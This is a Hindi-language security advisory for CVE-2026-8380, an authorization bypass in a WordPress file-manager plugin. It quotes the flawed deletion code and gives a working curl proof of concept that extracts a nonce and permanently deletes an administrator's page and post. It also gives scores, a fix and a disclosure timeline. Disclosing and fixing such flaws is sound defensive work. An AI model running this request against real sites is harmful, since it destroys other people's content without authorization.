
CVE-2026-8380
वर्डप्रेस प्लगइन Frontend File Manager (nmedia-user-file-uploader) के संस्करण <= 23.6 में एक गंभीर प्राधिकरण दोष पाया गया।
इस कमजोरी के कारण, प्रमाणित उपयोगकर्ता कम विशेषाधिकारों के साथ AJAX विलोपन एंडपॉइंट में अनुचित प्राधिकरण सत्यापन के कारण मनमाने ढंग से वर्डप्रेस पोस्ट, पेज, अटैचमेंट और कस्टम पोस्ट प्रकारों को स्थायी रूप से हटा सकते हैं।
जब प्लगइन विकल्प _allow_guest_upload=yes सक्षम होता है, तो यह कमजोरी अप्रमाणित हमलावरों द्वारा शोषणीय हो जाती है।
nmedia-user-file-uploader)प्लगइन में एक गंभीर प्राधिकरण बाईपास भेद्यता है जो wpfm_delete_file AJAX एक्शन के अंदर पैरामीटर बेमेल सत्यापन के माध्यम से वर्डप्रेस सामग्री को मनमाने ढंग से हटाने की अनुमति देती है।
इस भेद्यता को एक नियंत्रित प्रयोगशाला वातावरण में सक्रिय प्रूफ-ऑफ-कॉन्सेप्ट शोषण के साथ सफलतापूर्वक मान्य किया गया।
शोध के दौरान अतिरिक्त सुरक्षा कमजोरियाँ भी पाई गईं:
_allow_guest_upload कई एंडपॉइंट में प्राधिकरण जाँच को अक्षम करनाREMOTE_ADDR पर आधारित दर सीमित करनाPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
प्राधिकरण जाँच एकवचन पैरामीटर का उपयोग करके स्वामित्व को मान्य करती है:
$_POST['file_id']
हालाँकि, वास्तविक विलोपन संक्रिया एक भिन्न पैरामीटर पर पुनरावृत्त होती है:
$_POST['file_ids[]']
इस बेमेल के कारण, एक हमलावर यह कर सकता है:
file_id में एक वैध स्वामित्व वाली पोस्ट प्रदान करेंfile_ids[] में पीड़ित के मनमाने पोस्ट ID इंजेक्ट करेंयह सुनिश्चित करने के लिए कोई सत्यापन मौजूद नहीं है:
file_ids[] में प्रत्येक आइटम का स्वामित्वpost_typefile_id और file_ids[] के बीच संबंधपरिणामस्वरूप, मनमानी वर्डप्रेस सामग्री को स्थायी रूप से हटाया जा सकता है।
न्यूनतम विशेषाधिकारों वाला एक प्रमाणित उपयोगकर्ता स्थायी रूप से हटा सकता है:
विलोपन इसके साथ किया जाता है:
wp_delete_post($file_id, true);
अर्थात् सामग्री को कूड़ेदान (Trash) से पुनर्प्राप्ति के बिना स्थायी रूप से हटा दिया जाता है।
यदि _allow_guest_upload=yes सक्षम है:
192.168.1.1:8080wpfm_sub : Sub@Test123
पेज ID: 60
पोस्ट ID: 61
हमलावर शॉर्टकोड वाले पेज पर जाता है:
[ffmwp]
नॉन्स निकालें:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
प्रतिक्रिया:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| पैरामीटर | विवरण |
|---|---|
file_id=57 | प्राधिकरण बायपास करने के लिए उपयोग की गई सब्सक्राइबर-स्वामित्व वाली पोस्ट |
file_ids[]=60 | पीड़ित प्रशासक पेज |
file_ids[]=61 | पीड़ित प्रशासक पोस्ट |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 उच्च
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 गंभीर
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
file_ids[] के अंदर प्रत्येक प्रविष्टि के लिए स्वामित्व और पोस्ट प्रकार को मान्य करें।
सुरक्षित कार्यान्वयन का उदाहरण:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| घटना | तारीख |
|---|---|
| भेद्यता की खोज | 2026-05-28 |
| विक्रेता से संपर्क | 2026-05-28 |
| WPScan प्रकाशित | 2026-06-04 |
| सार्वजनिक प्रकटीकरण | 2026-06-18 |
यह शोध केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए एक नियंत्रित प्रयोगशाला वातावरण में किया गया था।
उचित प्राधिकरण के बिना सिस्टम का परीक्षण न करें।